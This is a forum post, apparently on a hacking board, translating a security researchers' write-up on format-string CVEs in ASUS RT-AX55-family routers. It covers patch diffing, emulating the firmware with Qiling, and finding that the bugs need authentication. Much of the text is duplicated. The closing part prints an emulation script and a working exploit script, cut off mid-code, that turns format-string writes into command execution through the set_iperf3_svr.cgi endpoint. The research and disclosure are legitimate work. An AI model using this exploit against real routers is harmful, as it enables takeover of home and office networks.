D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Источник: https://www.shielder.com/blog/2024/01/hunting-for-~~un~~authenticated-n-days-in-asus-routers/
Перевёл: BLUA специально для xss.is
После прочтения в интернете подробностей о несольких опубликованных критических уязвимостях CVE, затрагивающих маршрутизаторы ASUS, мы решили проанлизировать уязвимую прошивку и, возможно, написат эксплойт для n-day уязвимости. Мы определили уязвимый фрагмент кода и успешно написали эксплойт для получения удалённого выполнения кода. Однако мы также обнаружили, что в реальных устройствах свойство "Удалённая неаутентифицированная" уязвимость не всегда соответствует действительности, в зависимости от текущей конфигурации устройств.
Введение
Прошлый год был отличным для безопасности IoT-устройств и маршрутизаторов. Множество устройтсв были взломаны, и было выпущено много уязвимостей CVE. Поскольку @suidpit и я любим заниматься исследованием путей реерс-инжиринга IoT-устройств, а большинство этих CVE ещё не имели подробной публичной информации или доказательств концепции, у нас появилась возможность применит подход CVE North Stars от clearbluejar.
В частности, мы выбрали следующие уязвимости CVE, затрагивающие ращличные маршрутизаторы Asus для малого офиса и домашнего использования(SOHO):
- https://nvd.nist.gov/vuln/detail/CVE-2023-39238
- https://nvd.nist.gov/vuln/detail/CVE-2023-39239
- https://nvd.nist.gov/vuln/detail/CVE-2023-39240
Утверждения в описаниях CVE были довольно смелыми, но мы вспомнили некоторые CVE, опубликованные за несколько месяцев до этого для тех же устройств(например CVE-2023-35086), которые описывали другие строковые форматы в точно таком же сценарии:
Обратите пристальное внимание на эти заявления, так как они будут основой всех наших предположений с этого момента!
Из деталей CVE мы уже можем извлечь интересную информацию, такую как затронутые устройства и версии. Следующие версии прошивки содержат патчи для каждого устройства:
- Asus RT-AX55: 3.0.0.4.386_51948 и позже
- Asus RT-AX56U_V2: 3.0.0.4.386_51948 и позже
- Asus RT-AC86U: 3.0.0.4.386_51915 и позже
Кроме того, мы можем узнать, что уязвимость предположительно связана с форматной строкой, и что хатронутыми модулями являются
Поскольку у нас не было опыта работы с устройствами Asus, мы начали с загрузки уязвимых и исправленных версий прошивки с сайта производителя.
Сравнение патчей с помощью BinDiff
Получив прошивку, мы приступили к её извлечению с помощью Unblob.
С помощью быстрого поиска с использованием
Затем мы загрузили новый и старый бинарные файлы httpd в Ghidra, проанализировали их и экспортировали соответствующую информацию с помощью BinExport от BinDiff для выполнения сравнения патчей.
Сравнение патчей бинарного файла
Интересно, что все они имели общую схему. Входные данные функции
Код: Скопировать в буфер обмена
Функция
Сравнение
Функция
Очевидно, в нашей уявзвимой прошивке мы можем использовать уязвимость форматной строки, контролируя содержимое поля
Вход дракона: эмуляция с помощью Qiling
Если вы нас знаете, то, вероятнее, знаете, что мы обожаем Qiling, поэтому нашей первой мыслью было: "А что, если мы попробуем эмулировать прошивку с помощью Qiling и воспроизвести уязвимость там?".
Начиная с базового проекта Qiling, к сожалению,
В частности, устройства Asus используют переферийное устройство NVRAM для хранения множества настроек. Ребят из firmadyne разработали библиотеку для эмуляции этого поведения, но нам не удалось заставить её работать, поэтому мы решели реализовать её заново в нашем скрипте для Qiling.
Скрипт создаёт структуру в куче, а затем перехватывает все функции, используемые
После этого на оставалось только исправить реализацию некоторых незначительных системных вызовов и хуков, и вуаля! Мы смогли загрузить эмулированный веб-интерфейс роутера в наших браузерах.
Тем временем мы реверс-инжинировали функции
Оказалось, что следующий JSON - это всё, что вам нужно, чтобы использовать уязвимость в конечной точке
И нас встретил следующий вывод в консоли Qiling:
На этом этапе уязвимость формата строки была подтвержена, и мы знали, как её активировать с помощью эмуляции прошивки в Qiling. Более того, мы выяснили, что исправление включало вызов функции
Анализ первопричины
Поскольку исправление было добавлено в функции
Функция, по-видимому, отвечает за регистрацию сообщений, поступающих из рщличных источников, через единую централизованную точку вывода.
Функция
Хотя Ghidra, похоже, не может
автоматически
распознать список переменных аргументов, функция является оболочкой вокруг
Уязвимость находится в этой функции, а именно в использовании функции
Код: Скопировать в буфер обмена
Согласно её сигнатуре,
Эксплуатация - использованиесуществующих системных процессов
Уязвимости форматных строк весьма полезны для злоумышленников, так как обычно они предоставляют примитивы произвольного чтения/записи. В данном случае, поскольку вывод записывается в системный журнал, который доступен только администраторам, мы предполагаем, что неаутентифицированный удаленный злоумышленник не сможет прочитать журнал, таким образом теряя примитив "чтения" для эксплуатации.
ASLR включен в операционной системе маршрутизатора, а меры по защите, реализованные во время компиляции для данного бинарного файла, перечислены ниже:
Согласно этому сценарию, типичный способ разработки эксплойта будет состоять в поиске подходящей цели для перезаписи GOT, попытке найти функцию, которая принимает ввод, контролируемый пользователем, и перенаправлении её на
Тем не менее, в духе концепции "Living Off The Land" мы потратили некоторое время на поиск другого подхода, который не нарушал бы внутреннюю структуру процесса, а вместо этого использовал бы уже реализованную в бинарном файле логику для достижения чего-то полезного (а именно, получения шела).
Одной из первых вещей, которую следовало искать в бинарном файле, было место, где вызывается функция
Среди множества результатов этого поиска один фрагмент кода показался достойным более детального изучения:
Давайте кратко прокомментируем этот код, чтобы понять важные моменты:
-
- Когда
Это кажется хорошей целью для эксплуатации, при условии, что мы, как злоумышленники, можем:
1. Перезаписать содержимое
2. Вызвать функцию
Пункт 1 достигается за счет уязвимости формата строки: так как бинарный файл не является позиционно-независимым, адрес глобальной переменной
Что касается пункта 2, некоторые конечные точки в веб-интерфейсе используются для легитимного выполнения команд через функцию
Таким образом, после перезаписи глобальной переменной
Шелл за ваши мысли
Мы избавим вас от базового курса по эксплуатации строк формата, просто помните, что с помощью
Оказалось, у нас было несколько ограничений: некоторые из них типичны для эксплуатации уязвимостей, связанных со строками формата, а другие специфичны для нашего сценария.
Первая проблема заключается в том, что полезная нагрузка должна быть отправлена внутри JSON-объекта, поэтому нам нужно избежать "нарушения" структуры JSON, иначе парсер выдаст ошибку. К счастью, мы можем использовать комбинацию из необработанных байтов, вставленных в тело (принимаемых парсером), двойного кодирования (
Вторая проблема заключается в том, что после декодирования наша полезная нагрузка сохраняется в строке C, поэтому нулевые байты завершат её преждевременно. Это означает, что мы можем использовать только один нулевой байт, и он должен находиться в конце нашей строки формата.
Третья проблема заключается в том, что существует ограничение на длину строки формата. Мы можем обойти это, записывая по несколько байтов за раз с помощью формата
Четвёртая проблема (да, ещё больше проблем) заключается в том, что в строке формата перед нашим вводом находится переменное количество символов, что нарушает подсчёт символов, которые
Наконец, наш вредоносный код был готов, всё было идеально отточено, пришло время выполнить эксплойт и получить доступ к оболочке на нашем устройстве...
Быть или не быть аутентифицированным
Отправка нашего вредоносного кода без какого-либо файла cookie приводит к перенаправлению на страницу входа!
На этом этапе мы были в полном шоке. В отчетах CVE упоминается «неаутентифицированный удаленный злоумышленник», и наша эксплуатация против эмулятора Qiling работала нормально без какой-либо аутентификации. Что пошло не так?
Во время эмуляции с помощью Qiling перед покупкой реального устройства мы скачали дамп состояния NVRAM из интернета. Если процесс
Оказалось, что важный ключ под названием
Но подождите, это еще не все!
Мы исследовали ранее сообщенные уязвимости формата строки, затрагивающие другие конечные точки, чтобы протестировать их на нашем оборудовании. Мы нашли эксплойты в сети, которые устанавливают заголовки
Ни один из них не сработал в среде, где в NVRAM было установлено
И знаете что? Если маршрутизатор не настроен, интерфейс WAN не доступен удаленно, что делает его недоступным для злоумышленников.
Выводы
Это исследование оставило у нас горькое послевкусие.
На данный момент шансы таковы:
1. Существует дополнительная уязвимость обхода аутентификации, которая все еще не исправлена
и поэтому не отображается в различиях.
2. «Неаутентифицированный удаленный злоумышленник», упомянутый в CVE, относится к сценарию, похожему на CSRF.
3. Все предыдущие исследователи обнаружили уязвимости, эмулируя прошивку без учета содержимого NVRAM.
В любом случае, мы публикуем наш PoC-код эксплойта и скрипт эмулятора Qiling в нашем репозитории PoC на GitHub.
скрипт эмуляции (Qiling >=1.4.7)
Python: Скопировать в буфер обмена
PoC
exploit.py [-h] --url URL --credentials CREDENTIALS --cmd CMD
Python: Скопировать в буфер обмена
Перевёл: BLUA специально для xss.is
После прочтения в интернете подробностей о несольких опубликованных критических уязвимостях CVE, затрагивающих маршрутизаторы ASUS, мы решили проанлизировать уязвимую прошивку и, возможно, написат эксплойт для n-day уязвимости. Мы определили уязвимый фрагмент кода и успешно написали эксплойт для получения удалённого выполнения кода. Однако мы также обнаружили, что в реальных устройствах свойство "Удалённая неаутентифицированная" уязвимость не всегда соответствует действительности, в зависимости от текущей конфигурации устройств.
Введение
Прошлый год был отличным для безопасности IoT-устройств и маршрутизаторов. Множество устройтсв были взломаны, и было выпущено много уязвимостей CVE. Поскольку @suidpit и я любим заниматься исследованием путей реерс-инжиринга IoT-устройств, а большинство этих CVE ещё не имели подробной публичной информации или доказательств концепции, у нас появилась возможность применит подход CVE North Stars от clearbluejar.
В частности, мы выбрали следующие уязвимости CVE, затрагивающие ращличные маршрутизаторы Asus для малого офиса и домашнего использования(SOHO):
- https://nvd.nist.gov/vuln/detail/CVE-2023-39238
- https://nvd.nist.gov/vuln/detail/CVE-2023-39239
- https://nvd.nist.gov/vuln/detail/CVE-2023-39240
Утверждения в описаниях CVE были довольно смелыми, но мы вспомнили некоторые CVE, опубликованные за несколько месяцев до этого для тех же устройств(например CVE-2023-35086), которые описывали другие строковые форматы в точно таком же сценарии:
Неаутентифицированный удалённый злоумышленник может воспользоваться этой уязвимостью без привилегий для выполнения произвольного кода удалённо.
Нажмите, чтобы раскрыть...
Обратите пристальное внимание на эти заявления, так как они будут основой всех наших предположений с этого момента!
Из деталей CVE мы уже можем извлечь интересную информацию, такую как затронутые устройства и версии. Следующие версии прошивки содержат патчи для каждого устройства:
- Asus RT-AX55: 3.0.0.4.386_51948 и позже
- Asus RT-AX56U_V2: 3.0.0.4.386_51948 и позже
- Asus RT-AC86U: 3.0.0.4.386_51915 и позже
Кроме того, мы можем узнать, что уязвимость предположительно связана с форматной строкой, и что хатронутыми модулями являются
set_iperf3_cli.gli
, set_iperf3_svg.cgi
и apply.cgi
.Поскольку у нас не было опыта работы с устройствами Asus, мы начали с загрузки уязвимых и исправленных версий прошивки с сайта производителя.
Сравнение патчей с помощью BinDiff
Получив прошивку, мы приступили к её извлечению с помощью Unblob.
С помощью быстрого поиска с использованием
find/ripgrep
мы выяснили, что затронутые модули - это не CGI-файлы, как можно было бы ожидать, а скомпилированные функции, обрабатываемые внутри бинарного файла /usr/sbin/httpd
.Затем мы загрузили новый и старый бинарные файлы httpd в Ghidra, проанализировали их и экспортировали соответствующую информацию с помощью BinExport от BinDiff для выполнения сравнения патчей.
Сравнение патчей сопоставляет уязвимую версию бинарного файла с исправлением. Цель состоит в том, чтобы выделить изменения, помогая обнаружить новые, отсутствующие и интересные функции в различных версиях бинарного файла.
Нажмите, чтобы раскрыть...
Сравнение патчей бинарного файла
httpd
выявило некоторые изменения, но ни одно из них не оказалось интересным для наших целей. В частности, если мы посмотрим на обработчики уязвимых модулей CGI, то увидим, что они вовсе не были изменены.Интересно, что все они имели общую схему. Входные данные функции
notify_rc
не были исправлены и поступали из управляемого пользователем JSON-запроса:Код: Скопировать в буфер обмена
money_with_wings
Функция
notify_rc
определена в /usr/lib/libshared.so
: это объясняет, почему сравнение бинарного файла httpd
было неэффективным.Сравнение
libshared.so
привело к интересному открытию: в первых нескольких строках функции notify_rc
была добавлена вызов новый функций под названием validate_rc_service
. На этом этапе мы были практически уверены, что именно эта функция отвечает за исправление уязвимости форматной строки.Функция
validate_rc_service
выполняет проверку синтаксиса на поле rc_service
в формате JSON. Декомилированный код в Ghidra не так просто читать: по сути, функция возвращает 1, если строка rc_service
содержит только буквенно-цифровые символы, пробелы или символы _
и ;
, и возвращает 0 в противном случае.Очевидно, в нашей уявзвимой прошивке мы можем использовать уязвимость форматной строки, контролируя содержимое поля
rc_service
. У нас ещё не было устройства, чтобы это подтвердить, но мы не хотели тратить время и деньги, если это тупиковый путь. Давайте эмулировать!Вход дракона: эмуляция с помощью Qiling
Если вы нас знаете, то, вероятнее, знаете, что мы обожаем Qiling, поэтому нашей первой мыслью было: "А что, если мы попробуем эмулировать прошивку с помощью Qiling и воспроизвести уязвимость там?".
Начиная с базового проекта Qiling, к сожалению,
httpd
завершается с ошибками и сообщает о различных ошибках.В частности, устройства Asus используют переферийное устройство NVRAM для хранения множества настроек. Ребят из firmadyne разработали библиотеку для эмуляции этого поведения, но нам не удалось заставить её работать, поэтому мы решели реализовать её заново в нашем скрипте для Qiling.
Скрипт создаёт структуру в куче, а затем перехватывает все функции, используемые
httpd
для чтения/записи в NVRAM, перенаправляя их на структуру в куче.После этого на оставалось только исправить реализацию некоторых незначительных системных вызовов и хуков, и вуаля! Мы смогли загрузить эмулированный веб-интерфейс роутера в наших браузерах.
Тем временем мы реверс-инжинировали функции
do_set_iperf3_srv_cgi/do_set_iperf3_cli_cgi
, чтобы понять, какой тип ввода нам нужно отправить вместе с форматной строкой.Оказалось, что следующий JSON - это всё, что вам нужно, чтобы использовать уязвимость в конечной точке
set_iperf3_srv.cgi
:И нас встретил следующий вывод в консоли Qiling:
На этом этапе уязвимость формата строки была подтвержена, и мы знали, как её активировать с помощью эмуляции прошивки в Qiling. Более того, мы выяснили, что исправление включало вызов функции
validate_rc_message
в функции notify_rc
, экспортируемой библиотекой libshared.co. С целью создания рабочего n-day эксплойта для реального устройства мы приобрели одно из целевых устройств(ASUS RT-AX55) и начали анализировать уязвимость, чтобы понять её корневую причину и как её контролировать.Анализ первопричины
Поскольку исправление было добавлено в функции
notify_rc
, мы начали с реверс-инжиниринга ассемблеа этой функции в старой уязвимой версии. Ниже приведён фрагмент псевдокода из этой фукнции:Функция, по-видимому, отвечает за регистрацию сообщений, поступающих из рщличных источников, через единую централизованную точку вывода.
Функция
logmessage_normal
является частью той же библиотеки, и её код довольно просто подвергнть обратной разработке:Хотя Ghidra, похоже, не может


syslog
, и она занимается открытием выбранного журнала, отправкой сообщения и, наконец, его закрытием.Уязвимость находится в этой функции, а именно в использовании функции
syslog
со строкой, которую может контролировать злоумышленник. Чтобы понять, почему это происходит, давайте рассмотрим её сигнатуру из руководства по libc:Код: Скопировать в буфер обмена
void syslog(int priority, const char *format, ...);
Согласно её сигнатуре,
syslog
ожидает список аргументов, похожий на таковой у функций семейства *printf
. Быстрый поиск показывает, что эта функция действительно является известным источником уязвимостей форматных строк.Эксплуатация - использование
Уязвимости форматных строк весьма полезны для злоумышленников, так как обычно они предоставляют примитивы произвольного чтения/записи. В данном случае, поскольку вывод записывается в системный журнал, который доступен только администраторам, мы предполагаем, что неаутентифицированный удаленный злоумышленник не сможет прочитать журнал, таким образом теряя примитив "чтения" для эксплуатации.
ASLR включен в операционной системе маршрутизатора, а меры по защите, реализованные во время компиляции для данного бинарного файла, перечислены ниже:
Согласно этому сценарию, типичный способ разработки эксплойта будет состоять в поиске подходящей цели для перезаписи GOT, попытке найти функцию, которая принимает ввод, контролируемый пользователем, и перенаправлении её на
system
.Тем не менее, в духе концепции "Living Off The Land" мы потратили некоторое время на поиск другого подхода, который не нарушал бы внутреннюю структуру процесса, а вместо этого использовал бы уже реализованную в бинарном файле логику для достижения чего-то полезного (а именно, получения шела).
Одной из первых вещей, которую следовало искать в бинарном файле, было место, где вызывается функция
system
, в надежде найти хорошие точки для инъекции, чтобы направить нашу мощную примитивную запись.Среди множества результатов этого поиска один фрагмент кода показался достойным более детального изучения:
Давайте кратко прокомментируем этот код, чтобы понять важные моменты:
-
SystemCmd
— это глобальная переменная, которая содержит строку.- Когда
sys_script
вызывается с аргументом syscmd.s
, он передает любую команду, находящуюся в SystemCmd
, в системную функцию, а затем снова обнуляет глобальную переменную.Это кажется хорошей целью для эксплуатации, при условии, что мы, как злоумышленники, можем:
1. Перезаписать содержимое
SystemCmd
.2. Вызвать функцию
sys_script("syscmd.sh")
.Пункт 1 достигается за счет уязвимости формата строки: так как бинарный файл не является позиционно-независимым, адрес глобальной переменной
SystemCmd
жестко закодирован в бинарнике, поэтому нам не нужны утечки для записи в него. В нашей уязвимой прошивке смещение для глобальной переменной SystemCmd
составляет 0x0f3ecc
.Что касается пункта 2, некоторые конечные точки в веб-интерфейсе используются для легитимного выполнения команд через функцию
sys_script
. Эти конечные точки вызывают следующую функцию с именем ej_dump
всякий раз, когда выполняется запрос GET:Таким образом, после перезаписи глобальной переменной
SystemCmd
, достаточно просто посетить Main_Analysis_Content.asp
или Main_Netstat_Content.asp
, чтобы запустить наш эксплойт.Шелл за ваши мысли
Мы избавим вас от базового курса по эксплуатации строк формата, просто помните, что с помощью
%n
вы можете записать количество символов, напечатанных до этого момента, по адресу, на который указывает его смещение.Оказалось, у нас было несколько ограничений: некоторые из них типичны для эксплуатации уязвимостей, связанных со строками формата, а другие специфичны для нашего сценария.
Первая проблема заключается в том, что полезная нагрузка должна быть отправлена внутри JSON-объекта, поэтому нам нужно избежать "нарушения" структуры JSON, иначе парсер выдаст ошибку. К счастью, мы можем использовать комбинацию из необработанных байтов, вставленных в тело (принимаемых парсером), двойного кодирования (
%25
вместо %
для внедрения спецификаторов формата) и кодирования нулевого байта, завершающего адрес, в формате UTF (\u0000
).Вторая проблема заключается в том, что после декодирования наша полезная нагрузка сохраняется в строке C, поэтому нулевые байты завершат её преждевременно. Это означает, что мы можем использовать только один нулевой байт, и он должен находиться в конце нашей строки формата.
Третья проблема заключается в том, что существует ограничение на длину строки формата. Мы можем обойти это, записывая по несколько байтов за раз с помощью формата
%hn
.Четвёртая проблема (да, ещё больше проблем) заключается в том, что в строке формата перед нашим вводом находится переменное количество символов, что нарушает подсчёт символов, которые
%hn
будет учитывать и затем записывать по нашему целевому адресу. Это происходит потому, что функция logmessage_normal
вызывается с именем процесса (либо httpd
, либо httpsd
) и pid (от 1 до 5 символов) в качестве аргументов.Наконец, наш вредоносный код был готов, всё было идеально отточено, пришло время выполнить эксплойт и получить доступ к оболочке на нашем устройстве...
Быть или не быть аутентифицированным
Отправка нашего вредоносного кода без какого-либо файла cookie приводит к перенаправлению на страницу входа!
На этом этапе мы были в полном шоке. В отчетах CVE упоминается «неаутентифицированный удаленный злоумышленник», и наша эксплуатация против эмулятора Qiling работала нормально без какой-либо аутентификации. Что пошло не так?
Во время эмуляции с помощью Qiling перед покупкой реального устройства мы скачали дамп состояния NVRAM из интернета. Если процесс
httpd
загружал ключи, которые отсутствовали в дампе, мы автоматически устанавливали их в пустые строки, а некоторые вручную корректировали в случае явного сбоя или ошибки сегментации (Segfault).Оказалось, что важный ключ под названием
x_Setting
определяет, настроен ли роутер или нет. На основе этого ключа доступ к большинству конечных точек CGI включается или отключается. Состояние NVRAM, которое мы использовали в Qiling, содержало ключ x_Setting
, установленный в 0, в то время как на нашем реальном устройстве (обычно настроенном) он был установлен в 1.Но подождите, это еще не все!
Мы исследовали ранее сообщенные уязвимости формата строки, затрагивающие другие конечные точки, чтобы протестировать их на нашем оборудовании. Мы нашли эксплойты в сети, которые устанавливают заголовки
Referer
и Origin
на целевой хост, в то время как другие работают, отправляя простые GET-запросы вместо POST с телом в формате JSON. Наконец, чтобы как можно точнее воспроизвести их настройку, мы даже эмулировали прошивки других устройств (например, Asus RT-AX86U).Ни один из них не сработал в среде, где в NVRAM было установлено
x_Setting=1
.И знаете что? Если маршрутизатор не настроен, интерфейс WAN не доступен удаленно, что делает его недоступным для злоумышленников.
Выводы
Это исследование оставило у нас горькое послевкусие.
На данный момент шансы таковы:
1. Существует дополнительная уязвимость обхода аутентификации, которая все еще не исправлена

2. «Неаутентифицированный удаленный злоумышленник», упомянутый в CVE, относится к сценарию, похожему на CSRF.
3. Все предыдущие исследователи обнаружили уязвимости, эмулируя прошивку без учета содержимого NVRAM.
В любом случае, мы публикуем наш PoC-код эксплойта и скрипт эмулятора Qiling в нашем репозитории PoC на GitHub.
скрипт эмуляции (Qiling >=1.4.7)
Python: Скопировать в буфер обмена
Код:
#!/usr/bin/env python3
import os
import sys
import struct
import json
import sys
sys.path.append("..")
from qiling import Qiling
from qiling.os.memory import QlMemoryHeap
from qiling.os.posix.filestruct import ql_socket
from qiling.os.posix import syscall
from qiling.os.posix.const import *
from qiling.os.posix.filestruct import ql_socket
from qiling.os.posix.syscall.unistd import virtual_abspath_at, get_opened_fd
from qiling.os.posix.syscall.socket import __host_socket_level, __host_socket_option
from qiling.extensions.coverage.utils import collect_coverage
from qiling.const import QL_VERBOSE
from qiling.os.const import STRING, INT
DEBUG = False
def pdebug(*args, **kwargs):
if DEBUG:
print(*args, **kwargs)
def alloc(ql, param):
addr = ql.os.heap.alloc(len(param)+1)
ql.mem.string(addr, param + '\0')
return addr
def free(ql, param):
return ql.os.heap.free(param)
class NVRam(object):
_default_storage = {
"odmpid": "RT-AX55",
"productid": "RT-AX55",
}
_storage = dict()
def __init__(self, ql, path=None, fail=False) -> None:
self.ql = ql
self.fail = fail
for k in self._default_storage:
addr = alloc(self.ql, self._default_storage[k])
self._storage[k] = addr
if path:
self.load_file(path)
def load_file(self, path):
file_storage = json.load(open(path, 'r'))
for k in file_storage:
addr = alloc(self.ql, file_storage[k])
self._storage[k] = addr
def get(self, name):
if name in self._storage:
x = self._storage[name]
return x
else:
if self.fail:
raise AttributeError(name)
return alloc(self.ql, "\0")
def get_int(self, name):
value = self.ql.mem.string(self.get(name))
try:
return int(value, 10)
except ValueError:
return 0
def set(self, name, value):
addr = alloc(self.ql, value)
self._storage[name] = addr
return 0
def set_int(self, name, value):
self.set(name, str(value))
return 0
def unset(self, name):
if name in self._storage:
free(self.ql, self._storage[name])
else:
if self.fail:
raise AttributeError(name)
def ql_syscall_nanosleep(ql, nanosleep_req, nanosleep_rem, *args, **kw):
return 0
def ql_syscall_write(ql, write_fd, write_buf, write_count, *rest):
if write_fd == 2 and ql.os.fd[2].__class__.__name__ == 'ql_pipe':
return -1
f = get_opened_fd(ql.os, write_fd)
data = ql.mem.read(write_buf, write_count)
name = f.getsockname() if type(f) is ql_socket else f.name
if write_fd == 2:
return -1
else:
print(f'write(): {data.decode()}')
#if b" socke " in data:
# raise KeyboardInterrupt()
return syscall.ql_syscall_write(ql, write_fd, write_buf, write_count, *rest)
def ql_syscall_read(ql: Qiling, fd, buf: int, length: int):
f = get_opened_fd(ql.os, fd)
if f is None:
return -1
try:
data = f.read(length)
ql.mem.write(buf, data)
except BlockingIOError as e:
print(e)
regreturn = -EBADF
except Exception as e:
print(e)
regreturn = -EBADF
else:
print(f'read(): {data!r}')
regreturn = len(data)
return regreturn
def ql_syscall_lseek(ql: Qiling, fd: int, offset_high: int, offset_low: int, result: int, whence: int):
offset = ql.unpack64s(ql.pack64((offset_high << 32) | offset_low))
if fd not in range(NR_OPEN):
regreturn = -1
f = ql.os.fd[fd]
if f is None:
regreturn = -1
ret = 0
return 200
if type(f) is ql_socket:
ql.mem.write_ptr(result, ret, 8)
else:
try:
ret = f.seek(offset, whence)
except OSError:
regreturn = -1
else:
ql.mem.write_ptr(result, ret, 8)
regreturn = 0
return regreturn
def hook_do_set_iperf3_srv(ql):
pdebug('hook_do_set_iperf3_srv')
pdebug(hex(ql.arch.regs.arch_pc))
post_json_buf = 0x000a1d14
#ql.mem.string(post_json_buf, "{'iperf3_svr_port': '8888', 'rc_service': '%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%n%n%n%n%n%n%n%n%n%n%n%n%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p'}")
pdebug(ql.mem.string(post_json_buf))
#ql.hook_code(tracer)
def hook_nvram_get(ql):
pdebug('hook_nvram_get')
params = ql.os.resolve_fcall_params({'key': STRING})
value = ql.nvram.get(params["key"])
pdebug(f'{params["key"]} ({hex(ql.arch.regs.r0)}) = {ql.mem.string(value)}')
ql.arch.regs.r0 = value
def hook_nvram_set(ql):
pdebug('hook_nvram_set')
params = ql.os.resolve_fcall_params({'key': STRING,'value': STRING})
value = ql.nvram.set(params["key"], params["value"])
pdebug(f'{params["key"]} ({hex(ql.arch.regs.r0)}) = {params["value"]}')
ql.arch.regs.r0 = value
def hook_nvram_unset(ql):
pdebug('hook_nvram_unset')
params = ql.os.resolve_fcall_params({'key': STRING})
pdebug(f'{params["key"]} ({hex(ql.arch.regs.r0)}) = ""')
ql.nvram.unset(params["key"])
ql.arch.regs.r0 = 0
def hook_nvram_get_int(ql):
pdebug('hook_nvram_get_int')
params = ql.os.resolve_fcall_params({'key': STRING})
value = ql.nvram.get_int(params["key"])
pdebug(f'{params["key"]} ({hex(ql.arch.regs.r0)}) = {value}')
ql.arch.regs.r0 = value
def hook_nvram_set_int(ql):
pdebug('hook_nvram_set_int')
params = ql.os.resolve_fcall_params({'key': STRING,'value':INT})
value = ql.nvram.set_int(params["key"], params["value"])
pdebug(f'{params["key"]} ({hex(ql.arch.regs.r0)}) = {params["value"]}')
ql.arch.regs.r0 = value
def hook_nvram_commit(ql):
pdebug('hook_nvram_commit')
ql.arch.regs.r0 = 1
def hook_nvram_match(ql):
pdebug('hook_nvram_match')
params = ql.os.resolve_fcall_params({'key': STRING,'value':STRING})
value = ql.nvram.get(params["key"])
pdebug(f'{params["key"]} ({hex(ql.arch.regs.r0)}) = ({ql.mem.string(value)} == {params["value"]})')
ql.arch.regs.r0 = (ql.mem.string(value) == params["value"])
def my_sandbox(path, rootfs, verbose=QL_VERBOSE.DEFAULT):
ql = Qiling(path, rootfs, verbose=verbose, multithread=True)
ql.debugger = False
#ql.debugger = "gdb:0.0.0.0:9999"
heap_address = 0x6ff0d000
heap_size = 0x30000
ql.os.heap = QlMemoryHeap(ql, heap_address, heap_address + heap_size)
ql.nvram = NVRam(ql, "nvram.json", fail=False)
ql.os.set_syscall("nanosleep", ql_syscall_nanosleep)
ql.os.set_syscall("_llseek", ql_syscall_lseek)
ql.os.set_syscall("write", ql_syscall_write)
ql.os.set_syscall("read", ql_syscall_read)
ql.hook_address(hook_do_set_iperf3_srv, 0x420e0)
ql.os.set_api('nvram_get', hook_nvram_get)
ql.os.set_api('nvram_set', hook_nvram_set)
ql.os.set_api('nvram_unset', hook_nvram_unset)
ql.os.set_api('nvram_get_int', hook_nvram_get_int)
ql.os.set_api('nvram_set_int', hook_nvram_set_int)
ql.os.set_api('nvram_commit', hook_nvram_commit)
ql.os.set_api('nvram_match', hook_nvram_match)
with collect_coverage(ql, 'ezcov', 'output_ez.cov'):
ql.run()
if __name__ == "__main__":
try:
os.remove("_RT-AX55_51598/squashfs-root/var/run/httpd.pid")
os.remove("_RT-AX55_51598/squashfs-root/var/run/httpd.lock")
except FileNotFoundError:
pass
verbose = QL_VERBOSE.OFF
if len(sys.argv) == 2:
verbose = QL_VERBOSE.DEBUG
my_sandbox(["_RT-AX55_51598/squashfs-root/usr/sbin/httpd"], "_RT-AX55_51598/squashfs-root/", verbose=verbose)
PoC
exploit.py [-h] --url URL --credentials CREDENTIALS --cmd CMD
Python: Скопировать в буфер обмена
Код:
import requests
import struct
import base64
import re
from argparse import ArgumentParser
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
SYSTEMCMD_ADDR = 0x0f3ecc
def send_payload(host, session, body):
try:
r = session.post(f"{host}/set_iperf3_svr.cgi", data=body)
if "window.top.location.href='/Main_Login.asp'" in r.text:
print("Invalid auth token or UserAgent")
exit(-1)
return r
except requests.exceptions.ConnectionError as e:
if 'RemoteDisconnected' in str(e):
print("Remote Disconnected: something went wrong and the httpd daemon crashed. It will be back soon.")
else:
print(e)
exit(-1)
def fmtstr(where, what, is_httpds=False, pid_len=5):
if len(what)!=2:
raise ValueError('what too big')
size = 0x16
where = struct.pack('<I', where).replace(b'\x00', b'\\u0000').replace(b'"', b'\\u0022')
what = struct.unpack('<h', what.encode())[0] - size - (1 if is_httpds else 0) + (5 - pid_len)
psize = (13 if is_httpds else 14) - len(str(what)) + (5 - pid_len)
x = f"{{\"iperf3_svr_port\": 8080, \"rc_service\": \"%25{what}c%25{hex(size)[2:]}$hn{'A'*psize}where\"}}"
# UTF-8 sucks
return x.encode().replace(b'where', where)
def execute(host, session, cmd, is_httpds=False, pid_len=5):
print("Executing: ", end='')
if len(cmd)>2:
cmd = list(cmd[0+i:2+i].ljust(2, '\x00') for i in range(0, len(cmd), 2))
else:
cmd = [cmd.ljust(2, '\x00')]
for offset, part in enumerate(cmd):
body = fmtstr(SYSTEMCMD_ADDR + offset * 2, part, is_httpds, pid_len)
send_payload(host, session, body)
print(part, end='')
print('')
parser = ArgumentParser()
parser.add_argument('--url', required=True, help='The URL of the target')
parser.add_argument('--credentials', required=True, help='The authentication credentials')
parser.add_argument('--cmd', required=True, help='The command to execute')
args = parser.parse_args()
host = args.url
if not host.startswith('http'):
exit("URL must starts with http or https")
if host[-1] == '/':
host = host[:-1]
session = requests.Session()
session.verify=False
session.proxies={'http': '127.0.0.1:8080', 'https': '127.0.0.1:8080'}
# UserAgent is required during auth
user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0"
session.headers.update({"User-Agent": user_agent, "Referer": f"{host}/"})
print("Performing login")
basic_auth = base64.b64encode(args.credentials.encode()).decode()
login_data = {"group_id": '', "action_mode": '', "action_script": '', "action_wait": "5", "current_page": "Main_Login.asp", "next_page": "index.asp", "login_authorization": basic_auth, "login_captcha": ''}
r = session.post(f"{host}/login.cgi", data=login_data)
if not "url=index.asp" in r.text:
exit("Unknown error during login")
print("Testing vulnerable endpoint")
r = send_payload(host, session, {"iperf3_svr_port": 8080, "rc_service": "!!test!!"})
if '{"statusCode":"200"}' not in r.text:
print(r.text)
exit("Error in iperf3 endpoint")
print("Getting process name and pid from syslog")
r = session.get(f"{host}/appGet.cgi?hook=nvram_dump(%22syslog.log%22,%22syslog.sh%22)")
